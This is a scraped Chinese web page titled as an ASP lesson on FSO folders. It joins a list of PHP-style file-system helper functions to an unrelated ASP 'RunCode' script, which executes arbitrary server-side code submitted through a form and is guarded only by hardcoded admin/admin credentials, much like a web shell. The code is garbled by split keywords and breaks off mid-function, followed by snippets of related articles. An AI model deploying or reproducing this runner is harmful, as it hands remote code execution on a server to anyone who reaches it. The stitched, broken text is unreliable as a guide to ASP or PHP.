ASP学习:FSO文件夹祥解

fso

fso:: getAbsolute($dir)
得到一个相对路径的相对于根目录的路径
fso:: getOpposite($dir)
得到一个相对于根目录的路径的相对于当前程序页面的路径
fso:: createFolder($dirname)
新建一个目录
fso:: folderExists($folder)
判断一个目录是否存在
fso:: fileExists($file)
判断一个文件是否存在
fso:: copyFolder($source, $dest)
拷贝一个目录下的子目录和文件到另一个目录
fso:: copyFile($source, $dest)
拷贝一个文件
fso:: scanFolder($folder, &$array)
得到一个目录下的所有文件和目录列表,$array将是一个二维数组,每个元素形如array(“name”=>文件/目录名,”size”=>文件/目录尺寸,”time”=>最后修改时间)
fso:: moveFile($source, $dest)
把一个目录/文件移到另一个地方,原目录/文件将被尝试删除
fso:: removeFolder($folder)
删除一个目录
fso:: removeFile($file)
删除一个文件
fso:: createFile($file)
新建一个文件
fso:: writeLine($handle , $string)
向一个已打开的句柄里写入一个字符串
fso:: readLine($file)
读一个文件中的第一行
fso:: readFile($file)
读取整个文件
fso:: openFile($file, $method = "a+")
以一种方式打开文件
<% @ LANGUAGE="VBs cript" %>
<%Option Explicit
response.buffer=true
dim Spassword,SUserName
SUserName="admin"
Spassword="admin"
dim SQLMutiStr
dim i
dim action
action=request.querystring("action")

IF action="GetCode" then '---------TOT
NumCodeJS
ELSE '--------TOT
Response.Write("<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.0 Transitional//EN"">")
Response.Write("<HTML>")
Response.Write("<HEAD>")
Response.Write("<TITLE>ASP RunCode SCR V1.0 / Create By PaintBlue.Net V37</TITLE>")
Response.Write("<META NAME=""Generator"" CONTENT=""EditPlus,V37,PaintBlue.Net"">")
Response.Write("<META NAME=""Author"" CONTENT=""V37,PaintBlue.Net"">")
Response.Write("<META NAME=""Keywords"" CONTENT=""PaintBlue.Net,,V37,RunCode,ASP,s cript,BlueIdea.COM,Lfgbox.com"">")
Response.Write("<META NAME=""Des cription"" CONTENT=""运行ASP代码的ASP脚本!"">")
Response.Write("</HEAD>")
Response.Write("<BODY bgcolor=#D4D0C8>")

SQLMutiStr=trim(Request.Form("SQLMutiStr"))
if session("login")="" and action="chkpass" then
session("login")=checkPass()
end if
if action="exit" then session("login")=""
if session("login")="1" then
if action="RunCode" then
if SQLMutiStr="" then
Response.write "没有输入要运行的代码!"
Response.write "<br><br><a href=""javas cript:window.history.back();"">返回运行页面</a><br><br>"
Response.write "<a href=""?action=exit"">退出登陆</a>"
response.end
else
dim ExeStrArr
dim re
dim tempSQL,tempSQL2
dim s criptArr,s criptSubArr
tempSQL2=""
tempSQL=split(SQLMutiStr,vbcrlf)
if inStr(lcase(tempSQL(0)),"language")>0 then
tempSQL2=tempSQL(1)
if ubound(tempSQL)>1 then
for i=1 to ubound(tempSQL)
tempSQL2=tempSQL2&tempSQL(i)
next
end if
tempSQL2=trim(tempSQL2)
else
tempSQL2=SQLMutiStr
end if
tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%response.write ")
do
tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
tempSQL2=trim(tempSQL2)
tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
s criptArr=split(tempSQL2,"%"&">")
dim ub,kub
ub=ubound(s criptArr)
for i=0 to ub-1
s criptSubArr=split(s criptArr(i),"<"&"%")
if i>0 then response.write (s criptSubArr(0))
ExeCuteIt(s criptSubArr(1))
next
call EndProc("<font color=#009900>代码运行完毕!</font>")
end if
else
%>
输入要运行的ASP代码:
<FORM METHOD=POST ACTION="?action=RunCode" style="margin:0px;">
<TEXTAREA NAME="SQLMutiStr" wrap='OFF' ROWS="20" style="width:100%;height:100%;table-layout:fixed;word-break:break-all;"><%=Server.Htmlencode(SQLMutiStr)%></TEXTAREA>
<br>
<INPUT TYPE="button" Value="LouOut">
<INPUT TYPE="reset" Value="Clear">
<INPUT TYPE="submit" value="Run AspCode">
</FORM>
<% end if
else
call loginmain()
end if
Response.write ("</BODY></HTML>")
END IF '-------TOT

SUB loginMain()
%>

<FORM METHOD=POST ACTION="?action=chkpass"> UserName:<INPUT TYPE="text" NAME="UserName"><br>
 PassWord:<INPUT TYPE="password" NAME="Runpassword"><br>
CheckCode:<INPUT TYPE="GetCode" NAME="GetCode"><img src="runasp.asp?action=GetCode&Time=<%=timer()%>"><br>
<br><img width=125 height=0><INPUT TYPE="submit" value=" Login "></FORM>
<%
End SUB

function checkPass()
dim UserName,Runpassword,GetCode
dim errinfo
checkPass=""
UserName=trim(request.form("UserName"))
Runpassword=trim(request.form("Runpassword"))
GetCode=request.form("GetCode")
if UserName="" or Runpassword="" then
errinfo=errinfo&"<li>用户名和密码输入不能为空"
end if
if Not isnumeric(GetCode) then
errinfo=errinfo&"<li>请输入数字校验码"

时间: 2024-09-15 10:24:49

ASP学习:FSO文件夹祥解的相关文章

ASP.NET 保留文件夹详解_实用技巧

1. Bin文件夹 Bin文件夹包含应用程序所需的,用于控件.组件或者需要引用的任何其他代码的可部署程序集.该目录中存在的任何.dll文 件将自动地链接到应用程序.如果在该文件夹中留有不用的或过期的文件,则可能出现"二义性引用(ambiguous reference)"异常的风险.换句话说,如果两个不同的程序集定义相同的类(相同的命名空间和名称),则ASP.NET运行库不能决定应该使用哪一 个程序集,从而抛出一个异常.在开发时,当我们重新命名一个项目或一个程序集的名称时,这是常见的错误

ASP.NET验证控件祥解(转)

asp.net|控件 ASP.NET验证控件祥解 ASP.NET是微软推出的下一代WEB开发工具,其强大的功能立即吸引了一大批WEB开发者投入它的靡下.现在,我们来看看ASP.NET的验证控件,感受ASP.NET的强大功能同时方便我们现在的WEB开发. WEB开发者特别是ASP开发者,一直对数据验证比较恼火,当你好不容易写出数据提交程序的主体以后,还不得不花大把时间去验证用户的每一个输入是否合法.如果开发者熟悉JavaScript或者VBScript,可以用这些脚本语言轻松实现验证,但是又要考虑

360rescue文件/360SysRt文件/360ld文件夹详解怎么删除

  360rescue文件/360SysRt文件/360ld文件夹详解怎么删除! 360download:360软件管理下载软件的默认文件夹 360Rec是安装360杀毒时候自动生成的文件夹,用来保存已被隔离的文件. 360Rec是可以删掉的,只要你确定隔离里面的文件对你已经没用了 360rescue是漏洞补丁留下来的文件,计算机重启就没有了 360sysrt 是360安全卫士补丁智能恢复功能需要的系统启动文件,用于在windows无法启动时临时启动系统,恢复系统内核文件,如果您修复完系统后重启

中创-asp.net创建文件夹失败....新建一级文件夹正常,新建二级文件夹失败

问题描述 asp.net创建文件夹失败....新建一级文件夹正常,新建二级文件夹失败 asp.net的一个项目 大致就是给用户在服务器上分配一个控件,比如系统中有个文件夹叫aaa,我在用户 用户登录之后在aaa在aaa中创建一个文件夹叫admin,但是当admin用户登录之后, 如果admin在aaa下新建文件夹不成功 本机的iis以及程序都是正常的,但是部署到服务器上就不行 不是路径的问题,因为我本机都是好的,而且不报任何错误 想问下有没有遇到此问题的人 解决方案 检查下是不是权限的问题. 解

asp的Fso文件/文件夹操作类

和前面提到的一样,这个也只是把一些函数压在一起.实际上用一些函数集的方法放程序中更好. 主要功能: 1,创建删除文件夹 2,获取某个文件夹里的文件夹名称和个数 3,获取某个文件夹里的文件名称和个数 4,检查某个文件夹是否存在 5,检查某个文件是否存在 6,删除文件 7,读取某个文件的内容 7,创建一个文件,并把内容写到这个文件里面 总的来说,功能就分两个,一个是文件操作,一个是文件夹操作.我只是根据我的那个"在线作业管理系统"的需求写的,并不适合所有人... <% '******

asp.net创建文件夹的IO类的问题

C#中.net中得IO类虽然功能很强大,但是正是因为功能强大,所以在很多虚拟服务商的服务器上并不实用 .因为IO.Directory和IO.DirectoryInfo在应用文件夹操作中,会遍历网站所在的硬盘的磁盘跟目录,一般虚拟服务商并不会给这个磁盘的Network service用户开启读取权限,所以在操作文件夹的时候,使用IO下的这两个类会出现如下错误 未找到路径"E:\"的一部分. 说明: 执行当前 Web 请求期间,出现未处理的异常.请检查堆栈跟踪信息,以了解有关该错误以及代码

Asp.net对文件夹和文件的操作类

asp.net using System;using System.IO;using System.Web; namespace SEC{    /**//// <summary>    /// 对文件和文件夹的操作类    /// </summary>    public class FileControl    {        public FileControl()        {                    }        /**//// <summa

ASP入门教程-文件夹操作

文件夹操作主要包括创建.复制.移动和删除文件夹,检查文件夹是否存在以及指定路径中某文件夹中相应的文件对象.完成这些操作可以使用 FileSystemObjec对象或 Folder 对象的方法. 一.使用 FileSystemObject 对象的相应方法进行文件夹进行操作 1.使用 FileSystemObject 对象创建文件夹时,先要创建 FileSystemObject 对象,再使用它的 CreateFolder 方法创建文件夹对象,其语法格式如下: fso.CreateFolder(fol

asp.net 获取文件夹中的图片的代码_实用技巧

前台: 复制代码 代码如下: <asp:DataList ID="DataList1" runat="server" RepeatDirection="Horizontal" RepeatColumns="5" CellSpacing="25"> <ItemTemplate> <img src="<%# Eval("FullName") %&